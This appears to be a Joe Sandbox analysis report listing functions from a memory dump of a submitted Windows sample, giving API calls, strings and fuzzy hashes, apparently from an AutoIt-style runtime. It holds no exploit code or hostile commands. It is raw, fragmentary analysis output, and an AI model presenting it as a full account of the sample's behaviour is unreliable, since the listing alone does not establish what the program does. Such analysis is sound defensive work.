Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 18e220f40de9a411ec118e93bc77099694d5783c65ade3198d28756ac5f1861f
Instruction ID: 2a56e933c91fb77c78dbd9e4fe07fb8ddd15e0325ff6287fee9d9b36768423a3
Opcode Fuzzy Hash: 18e220f40de9a411ec118e93bc77099694d5783c65ade3198d28756ac5f1861f
Instruction Fuzzy Hash: 1C819F711082869BEB09DF21C885BAB7FD8FF84315F04846AFDD59A095DB30ED45CBA1

Function 0061C5FE Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00592612: GetWindowLongW.USER32(?,000000EB), ref: 00592623

DragQueryPoint.SHELL32(?,?), ref: 0061C627

Part of subcall function 0061AB37: ClientToScreen.USER32(?,?), ref: 0061AB60
Part of subcall function 0061AB37: GetWindowRect.USER32(?,?), ref: 0061ABD6
Part of subcall function 0061AB37: PtInRect.USER32(?,?,0061C014), ref: 0061ABE6

SendMessageW.USER32(?,000000B0,?,?), ref: 0061C690
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0061C69B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0061C6BE
_wcscat.LIBCMT ref: 0061C6EE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0061C705
SendMessageW.USER32(?,000000B0,?,?), ref: 0061C71E
SendMessageW.USER32(?,000000B1,?,?), ref: 0061C735
SendMessageW.USER32(?,000000B1,?,?), ref: 0061C757
DragFinish.SHELL32(?), ref: 0061C75E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0061C851

Strings

@GUI_DRAGFILE, xrefs: 0061C800
@GUI_DRAGID, xrefs: 0061C7C9
@GUI_DROPID, xrefs: 0061C77E
pbe, xrefs: 0061C79B

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$pbe
API String ID: 169749273-2767439822
Opcode ID: e28011535ee1e224fdd05d56f6abaf4ac3f65e9f58627cdd69fba006c9cd5d0b
Instruction ID: 332ecc89a05fe400d37ba999c7a4070da4e9af04235c57ce45acae25d071639f
Opcode Fuzzy Hash: e28011535ee1e224fdd05d56f6abaf4ac3f65e9f58627cdd69fba006c9cd5d0b
Instruction Fuzzy Hash: 04614871108301AFCB01EF64D889DAFBBEAFF89750F04492EF595921A1DB709949CB92

Function 005EABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 005EAC33

Strings

[CLASS:, xrefs: 005EAC83
[REGEXPTITLE:, xrefs: 005EAC5B
[ACTIVE, xrefs: 005EAC20
CLASSNAME=, xrefs: 005EAC70
[LAST, xrefs: 005EACE0
[HANDLE:, xrefs: 005EAC3F
HANDLE=, xrefs: 005EAC2C
LAST, xrefs: 005EABF8
[ALL, xrefs: 005EACD9
REGEXP=, xrefs: 005EAC48
ALL, xrefs: 005EACC7
ACTIVE, xrefs: 005EAC0E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: f8acfe934a29561f6b03c6e8bcf5f12c6fabdce40d6e7f49e804413611904cb9
Instruction ID: 8ecb3282975642cc9ff62e0ef7bb300a8fa66cc0853b6ee65dd01a8e9339842b
Opcode Fuzzy Hash: f8acfe934a29561f6b03c6e8bcf5f12c6fabdce40d6e7f49e804413611904cb9
Instruction Fuzzy Hash: BC316F3194824AAADB18EA61DE4BEFE7F66BB50710F600419F486710D2FF517F44C652

Function 00604FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 00605013
LoadCursorW.USER32(00000000,00007F00), ref: 0060501E
LoadCursorW.USER32(00000000,00007F03), ref: 00605029
LoadCursorW.USER32(00000000,00007F8B), ref: 00605034
LoadCursorW.USER32(00000000,00007F01), ref: 0060503F
LoadCursorW.USER32(00000000,00007F81), ref: 0060504A
LoadCursorW.USER32(00000000,00007F88), ref: 00605055
LoadCursorW.USER32(00000000,00007F80), ref: 00605060
LoadCursorW.USER32(00000000,00007F86), ref: 0060506B
LoadCursorW.USER32(00000000,00007F83), ref: 00605076
LoadCursorW.USER32(00000000,00007F85), ref: 00605081
LoadCursorW.USER32(00000000,00007F82), ref: 0060508C
LoadCursorW.USER32(00000000,00007F84), ref: 00605097
LoadCursorW.USER32(00000000,00007F04), ref: 006050A2
LoadCursorW.USER32(00000000,00007F02), ref: 006050AD
LoadCursorW.USER32(00000000,00007F89), ref: 006050B8
GetCursorInfo.USER32(?), ref: 006050C8

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: faed917101d4f06e2dc9191e3edac905d9edb5f9c5d59beccd9d739c14418c0c
Instruction ID: 6fd9da7ab4ef761eb331a4968205e91e6cc4a29537dd3c81892bbf5deff2f3e7
Opcode Fuzzy Hash: faed917101d4f06e2dc9191e3edac905d9edb5f9c5d59beccd9d739c14418c0c
Instruction Fuzzy Hash: 403103B1D4831A6ADF109FB68C899AFBFE9FF04750F50452AA50DE7280DA78A5008F95

Function 0061A1B9 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0061A259
DestroyWindow.USER32(?,?), ref: 0061A2D3

Part of subcall function 00597BCC: _memmove.LIBCMT ref: 00597C06

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0061A34D
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0061A36F
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0061A382
DestroyWindow.USER32(00000000), ref: 0061A3A4
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00590000,00000000), ref: 0061A3DB
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0061A3F4
GetDesktopWindow.USER32 ref: 0061A40D
GetWindowRect.USER32(00000000), ref: 0061A414
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0061A42C
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0061A444

Part of subcall function 005925DB: GetWindowLongW.USER32(?,000000EB), ref: 005925EC

Strings

0, xrefs: 0061A26F
tooltips_class32, xrefs: 0061A346, 0061A3D4

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 41073e7f7b844e3c15c1ec612f2bcae4680bdb9e469fc7d42e8cd7cd78bbe4c0
Instruction ID: f056e370f29877f8534c51dfe643e72ce554fa8befce3c5b55ac9ce77d7811a2
Opcode Fuzzy Hash: 41073e7f7b844e3c15c1ec612f2bcae4680bdb9e469fc7d42e8cd7cd78bbe4c0
Instruction Fuzzy Hash: 0B716970141305AFDB25DF68CC49FAA7BE6FB89700F08452DF986873A0D771A986CB52

Function 00614392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00614424
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0061446F

Strings

EXISTS, xrefs: 006144D8
GETITEMCOUNT, xrefs: 00614551
ISCHECKED, xrefs: 006145F2
GETTEXT, xrefs: 006145C2
SELECT, xrefs: 00614620
CHECK, xrefs: 0061448F
GETSELECTED, xrefs: 0061457F
EXPAND, xrefs: 00614521
COLLAPSE, xrefs: 006144B5
UNCHECK, xrefs: 0061464B
GETTOTALCOUNT, xrefs: 00614456

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 8aa7c5b5af641596b21aa9f46564bed2dbb48e58b328708a6a382e55e15933fb
Instruction ID: 783bde574afbdd53c5d891ccf1d02e085b6c72f15bdf38b713e723303d08f392
Opcode Fuzzy Hash: 8aa7c5b5af641596b21aa9f46564bed2dbb48e58b328708a6a382e55e15933fb
Instruction Fuzzy Hash: 14913E702047029FCB04EF14C455AAEBBE6BF95354F18486CF8965B3A2DB31ED4ACB91

Function 0061B7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0061B8B4
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,006191C2), ref: 0061B910
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0061B949
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 0061B98C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0061B9C3
FreeLibrary.KERNEL32(?), ref: 0061B9CF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0061B9DF
DestroyIcon.USER32(?,?,?,?,?,006191C2), ref: 0061B9EE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0061BA0B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0061BA17

Part of subcall function 005B2EFD: __wcsicmp_l.LIBCMT ref: 005B2F86

Strings

.icl, xrefs: 0061B82A
.dll, xrefs: 0061B86D
.exe, xrefs: 0061B84A

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: 6fd4ce435babca420f6272a940b7cbeef13e7f8fc584bd90f0bf7d11b0a74722
Instruction ID: 7cfd7eabc8b63b788d1ad67333eba462060dbfa93b7e8e597548a38f3d3c4147
Opcode Fuzzy Hash: 6fd4ce435babca420f6272a940b7cbeef13e7f8fc584bd90f0bf7d11b0a74722
Instruction Fuzzy Hash: 10610F71900609BAEB14DF64DC46FFE7BADFB09B10F14861AF911D61C0DB74A981DBA0

Function 005FA352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00599837: __itow.LIBCMT ref: 00599862
Part of subcall function 00599837: __swprintf.LIBCMT ref: 005998AC

CharLowerBuffW.USER32(?,?), ref: 005FA3CB
GetDriveTypeW.KERNEL32 ref: 005FA418
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 005FA460
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 005FA497
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 005FA4C5

Part of subcall function 00597BCC: _memmove.LIBCMT ref: 00597C06

Strings

closed, xrefs: 005FA3DF, 005FA3E8
open , xrefs: 005FA427
close, xrefs: 005FA3D1
set cd door , xrefs: 005FA466
close cd wait, xrefs: 005FA4B0
wait, xrefs: 005FA482
open, xrefs: 005FA3F2
type cdaudio alias cd wait, xrefs: 005FA443

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 805f4e36fcbaa12d509d5cbd6b212968bc68de6e725e8cbbd39cac95352f3ac6
Instruction ID: 835d62bbfe431e7bf7e8439a3391b272f9d0050977ec98e0ec3549e57f3d87de
Opcode Fuzzy Hash: 805f4e36fcbaa12d509d5cbd6b212968bc68de6e725e8cbbd39cac95352f3ac6
Instruction Fuzzy Hash: CB516F7111430A9FCB00EF24C88596EBBE5FF98718F14886DF88957291EB71ED09CB42

Function 005EF8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,005CE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 005EF8DF
LoadStringW.USER32(00000000,?,005CE029,00000001), ref: 005EF8E8

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,005CE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 005EF90A
LoadStringW.USER32(00000000,?,005CE029,00000001), ref: 005EF90D
__swprintf.LIBCMT ref: 005EF95D
__swprintf.LIBCMT ref: 005EF96E
_wprintf.LIBCMT ref: 005EFA17
MessageBoxW.USER32(00000000,?,?,00011010), ref: 005EFA2E

Strings

^ ERROR, xrefs: 005EF9C3
Error: , xrefs: 005EF9E5
Line %d (File "%s"):, xrefs: 005EF957
%s (%d) : ==> %s: %s %s, xrefs: 005EFA12
Line %d:, xrefs: 005EF968

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: e7ab694ab29bafe892389f0c22dd51b9aa860aeabf2cbc9192d82a3162ead596
Instruction ID: a0c950ed1507c843442906c22e66728b9815615caf4c229180d38ed0d86e09aa
Opcode Fuzzy Hash: e7ab694ab29bafe892389f0c22dd51b9aa860aeabf2cbc9192d82a3162ead596
Instruction Fuzzy Hash: 44411E7280460EAACF05FBE0DD4AEEE7B79BF98300F500465B505B6092EE316F49CB61

Function 0061BA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00619207,?,?), ref: 0061BA56
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00619207,?,?,00000000,?), ref: 0061BA6D
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00619207,?,?,00000000,?), ref: 0061BA78
CloseHandle.KERNEL32(00000000,?,?,?,?,00619207,?,?,00000000,?), ref: 0061BA85
GlobalLock.KERNEL32(00000000), ref: 0061BA8E
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00619207,?,?,00000000,?), ref: 0061BA9D
GlobalUnlock.KERNEL32(00000000), ref: 0061BAA6
CloseHandle.KERNEL32(00000000,?,?,?,?,00619207,?,?,00000000,?), ref: 0061BAAD
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00619207,?,?,00000000,?), ref: 0061BABE
OleLoadPicture.OLEAUT32(?,00000000,00000000,00622CAC,?), ref: 0061BAD7
GlobalFree.KERNEL32(00000000), ref: 0061BAE7
GetObjectW.GDI32(00000000,00000018,?), ref: 0061BB0B
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 0061BB36
DeleteObject.GDI32(00000000), ref: 0061BB5E
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0061BB74

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 4428fad546eadf98a79b5058304d4fd76165089568b0ec8b011877e7847e80b2
Instruction ID: 6fbd75b6d14c74dda1da60d13601cfa5c1380ccc48688df07103a4622fee4157
Opcode Fuzzy Hash: 4428fad546eadf98a79b5058304d4fd76165089568b0ec8b011877e7847e80b2
Instruction Fuzzy Hash: 6A413975600204FFDB119FA5DC88EEA7BBAEF89711F189069F909D7260DB309A41CB60

Function 005FD899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 005FDA10
_wcscat.LIBCMT ref: 005FDA28
_wcscat.LIBCMT ref: 005FDA3A
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 005FDA4F
SetCurrentDirectoryW.KERNEL32(?), ref: 005FDA63
GetFileAttributesW.KERNEL32(?), ref: 005FDA7B
SetFileAttributesW.KERNEL32(?,00000000), ref: 005FDA95
SetCurrentDirectoryW.KERNEL32(?), ref: 005FDAA7

Strings

*.*, xrefs: 005FDAE6

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: ef0bd9ad85cfc6ab4bc85fe67bca561e6d11f52df35d8d2204f331ed11485049
Instruction ID: a4dacd0ac074859834e030a2e37aa27edc7ce169e4758e08aa14a504cebc7ed2
Opcode Fuzzy Hash: ef0bd9ad85cfc6ab4bc85fe67bca561e6d11f52df35d8d2204f331ed11485049
Instruction Fuzzy Hash: 5381B4715042499FCB20DFA4C9449BABBF6BF85310F144C2EF989C7211E678D945CB62

Function 0061C1AC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00592612: GetWindowLongW.USER32(?,000000EB), ref: 00592623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0061C1FC
GetFocus.USER32 ref: 0061C20C
GetDlgCtrlID.USER32(00000000), ref: 0061C217
_memset.LIBCMT ref: 0061C342
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0061C36D
GetMenuItemCount.USER32(?), ref: 0061C38D
GetMenuItemID.USER32(?,00000000), ref: 0061C3A0
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0061C3D4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0061C41C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0061C454
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0061C489

Strings

0, xrefs: 0061C33A

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 3bfd0b37e3d76597e34bb7c90a3a224f820757890210eba728e14ad7e10a75d6
Instruction ID: 60c2de688b8f39ad68fb57b9101bcd7d2dd99b0fea4b3f9ab7dddf86fd1c83cb
Opcode Fuzzy Hash: 3bfd0b37e3d76597e34bb7c90a3a224f820757890210eba728e14ad7e10a75d6
Instruction Fuzzy Hash: 6A817E70248351AFD710DF14C894AEFBBEAFB88724F08492EF99597291D730D945CB92

Function 0060731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0060738F
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 0060739B
CreateCompatibleDC.GDI32(?), ref: 006073A7
SelectObject.GDI32(00000000,?), ref: 006073B4
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00607408
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00607444
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00607468
SelectObject.GDI32(00000006,?), ref: 00607470
DeleteObject.GDI32(?), ref: 00607479
DeleteDC.GDI32(00000006), ref: 00607480
ReleaseDC.USER32(00000000,?), ref: 0060748B

Strings

(, xrefs: 00607410

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 0f412e4b7fce3c61a5f53cab7345ae382f195f392aafff8def5bf38ad6cf1d3c
Instruction ID: c6f8d18a3718424807b8b6fb8d0a8d0ca6e29414eb143f5b386be2a9e46eb64d
Opcode Fuzzy Hash: 0f412e4b7fce3c61a5f53cab7345ae382f195f392aafff8def5bf38ad6cf1d3c
Instruction Fuzzy Hash: 95515971944209EFDB18CFA9DC84EEFBBBAEF48310F14842EF95997251C731A9408B50

Function 00596A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 005B0957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00596B0C,?,00008000), ref: 005B0973

